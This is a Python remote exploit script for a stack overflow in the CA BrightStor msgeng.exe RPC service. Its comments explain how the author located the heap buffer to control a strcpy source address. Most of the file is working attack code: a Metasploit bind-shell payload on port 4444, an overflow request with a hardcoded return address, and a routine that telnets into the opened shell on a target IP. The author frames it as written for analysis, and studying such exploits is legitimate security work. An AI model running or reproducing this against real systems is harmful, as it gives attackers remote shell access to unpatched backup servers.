#!/usr/bin/python
# This one was listed in the SANS TOP 20 and I needed an exploit for analysis.
# I couldnt find a reliable exploit for my analysis and so came up with this.
# Remote exploit for the CA BrightStor msgeng.exe service stack overflow
# vulnerability as described in LS-20060330.pdf on lssec.com. The exploit was
# tested on windows 2000 SP4 in a VMware environment.
# Opens a shell on TCP port 4444.
#
# Though a stack overflow vulnerability caused due to strcpy, this vulnerability
# provides an interesting case. Unlike a traditional stack overflow where the
# user supplies the overflow data which immediately is copied into a stack
# based buffer, here the user supplied data is stored in the heap and the first
# DWORD of the RPC stub is used as the source address in the strcpy operation.
# This means we have to locate the address of our shellcode on the heap and then
# craft the first DWORD of the stub in such a way that when strcpy is called our
# buffer is the source. I had problems locating the shellcode in the heap,
# because each time I ran the exploit the shellcode would be in different places
# , obviously (0008xxxx or 0009xxxx or 000Axxxx). However when sending very
# large data of around 500000 bytes I saw that along with one of the likely
# locations it was always available at the address 011E0070 aswell. Atleast on
# the setup I have for analysis this address does not have anything useful if
# buffer sizes of 1k, 2k etc are used. Once we get the address straight, there
# after its a straight forward stack overflow that can overwrite EIP.
#
# This exploit binds shell to TCP port 4444 and connects to it
#
# Author shall bear no responsibility for any screw ups caused by using the code
# Winny M Thomas ;-)

from impacket.dcerpc import transport, dcerpc
from impacket import uuid
import struct
import time
import sys
import os

#alphanumeric portbind shellcode from metasploit. Binds shell to port 4444
shellcode  = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57"
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38"
shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58"
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48"
shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54"
shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"
shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d"
shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38"
shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56"
shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57"
shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"
shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30"
shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35"
shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34"
shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41"
shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"
shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"
shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45"
shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46"
shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c"
shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"
shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32"
shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f"
shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36"
shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"
shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
shellcode += "\x4f\x4f\x42\x4d\x5a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

def DCEconnectAndExploit(target):
       trans = transport.TCPTransport(target, 6503)
       trans.connect()
       dce = dcerpc.DCERPC_v5(trans)
       dce.bind(uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0')))

       # The following DWORD gets converted to an address pointing into our
       # buffer.
       request = struct.pack('<L', 0x00003A7C)
       request += "A" * 19608
       request += "\x90\x90\xeb\x06"
       # At the point of overflow EBX points to our shellcode
       # Address of 'call ebx' from kernel32.dll SP4
       request += struct.pack('<L', 0x7C577B03)
       request += "\x90\x90\x90\x90"
       request += shellcode
       request += "b" * 480000
       dce.call(45, request)

def ConnectRemoteShell(target):
       connect = "/usr/bin/telnet " + target + " 4444"
       os.system(connect)

if __name__ == '__main__':
       try:
               target = sys.argv[1]
       except IndexError:
               print 'Usage: %s <target ip>\n' % sys.argv[0]
               sys.exit(-1)

       DCEconnectAndExploit(target)
       print 'Exploit sent to: %s' % target
       print 'Connecting to %s:4444' % target
       time.sleep(3)
       ConnectRemoteShell(target)